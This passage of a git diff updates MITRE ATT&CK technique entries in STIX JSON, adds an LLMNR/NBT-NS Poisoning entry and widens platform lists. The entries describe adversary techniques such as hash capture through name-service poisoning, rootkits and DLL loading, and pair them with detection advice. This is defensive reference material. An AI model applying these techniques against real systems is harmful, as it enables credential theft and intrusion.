                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65.json b/enterprise-attack/attack-pattern/attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65.json
index c82011ceba..012d2fb2c9 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c9948fb5-ac69-4572-89af-daa1daca13d9",
+    "id": "bundle--ae3e9104-731a-4822-a600-697cafc43caa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:40.542Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through Module Load",
-            "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n*via <code><file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"></code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
+            "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n*via <code><file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"></code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -45,18 +45,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5.json b/enterprise-attack/attack-pattern/attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5.json
index 6649c9daaf..0b68369117 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5a9538fe-bf11-4513-b884-2bd5fb2abddc",
+    "id": "bundle--c7be9f0c-9911-4c81-b9f4-c5db7f91a0aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:20.934Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Logical Offsets",
-            "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
+            "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -48,18 +48,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a.json b/enterprise-attack/attack-pattern/attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a.json
index a971852042..881d739138 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3927306c-b5a1-4eda-85be-bf1ee302a9d1",
+    "id": "bundle--9aa15b67-8e16-459f-99e1-57c982f768a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:43.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File System Permissions Weakness",
-            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak",
+            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -42,7 +42,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
@@ -59,18 +60,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0.json b/enterprise-attack/attack-pattern/attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0.json
new file mode 100644
index 0000000000..0425190c44
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0.json
@@ -0,0 +1,81 @@
+{
+    "type": "bundle",
+    "id": "bundle--19ce8bce-0d3a-4217-9d35-b6fe487baa7e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LLMNR/NBT-NS Poisoning",
+            "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1171",
+                    "external_id": "T1171"
+                },
+                {
+                    "source_name": "Wikipedia LLMNR",
+                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution"
+                },
+                {
+                    "source_name": "TechNet NetBIOS",
+                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
+                },
+                {
+                    "source_name": "GitHub NBNSpoof",
+                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
+                    "url": "https://github.com/nomex/nbnspoof"
+                },
+                {
+                    "source_name": "Rapid7 LLMNR Spoofer",
+                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
+                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response"
+                },
+                {
+                    "source_name": "GitHub Responder",
+                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
+                    "url": "https://github.com/SpiderLabs/Responder"
+                },
+                {
+                    "source_name": "Sternsecurity LLMNR-NBTNS",
+                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
+                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
+                },
+                {
+                    "source_name": "GitHub Conveigh",
+                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
+                    "url": "https://github.com/Kevin-Robertson/Conveigh"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Matthew Demaske, Adaptforward"
+            ],
+            "x_mitre_data_sources": [
+                "Windows Registry",
+                "Packet capture",
+                "Netflow/Enclave netflow"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b.json b/enterprise-attack/attack-pattern/attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b.json
index aa44af6334..8a20cf81c4 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28a661c4-0a94-424f-8398-9d0e5a04bb02",
+    "id": "bundle--a63b7aaa-2dbc-4465-9f10-94ab9fcc3647",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:26.496Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rootkit",
-            "description": "Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM, root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,6 +27,21 @@
                     "source_name": "Wikipedia Rootkit",
                     "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                     "url": "https://en.wikipedia.org/wiki/Rootkit"
+                },
+                {
+                    "source_name": "Symantec Windows Rootkits",
+                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
+                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
+                },
+                {
+                    "source_name": "CrowdStrike Linux Rootkit",
+                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
+                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
+                },
+                {
+                    "source_name": "BlackHat Mac OSX Rootkit",
+                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
+                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
                 }
             ],
             "object_marking_refs": [
@@ -48,21 +63,13 @@
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
-                "SYSTEM"
+                "SYSTEM",
+                "root"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967.json b/enterprise-attack/attack-pattern/attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967.json
index cea53e8d8f..1ba6634601 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8dc34e0b-89e2-4290-a8ae-061a5cfc731b",
+    "id": "bundle--3b3260ca-f07a-4f45-9247-0de13bd0bc1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:34.528Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Audio Capture",
-            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User",
+            "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,19 +36,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d.json b/enterprise-attack/attack-pattern/attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d.json
index 4b02528ea1..a2b79dcb8b 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c7ae1332-50fc-44c3-9761-e0279c5c6e98",
+    "id": "bundle--acb377e5-091c-4ba7-a1d7-79678f200158",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:44.421Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "External Remote Services",
-            "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley",
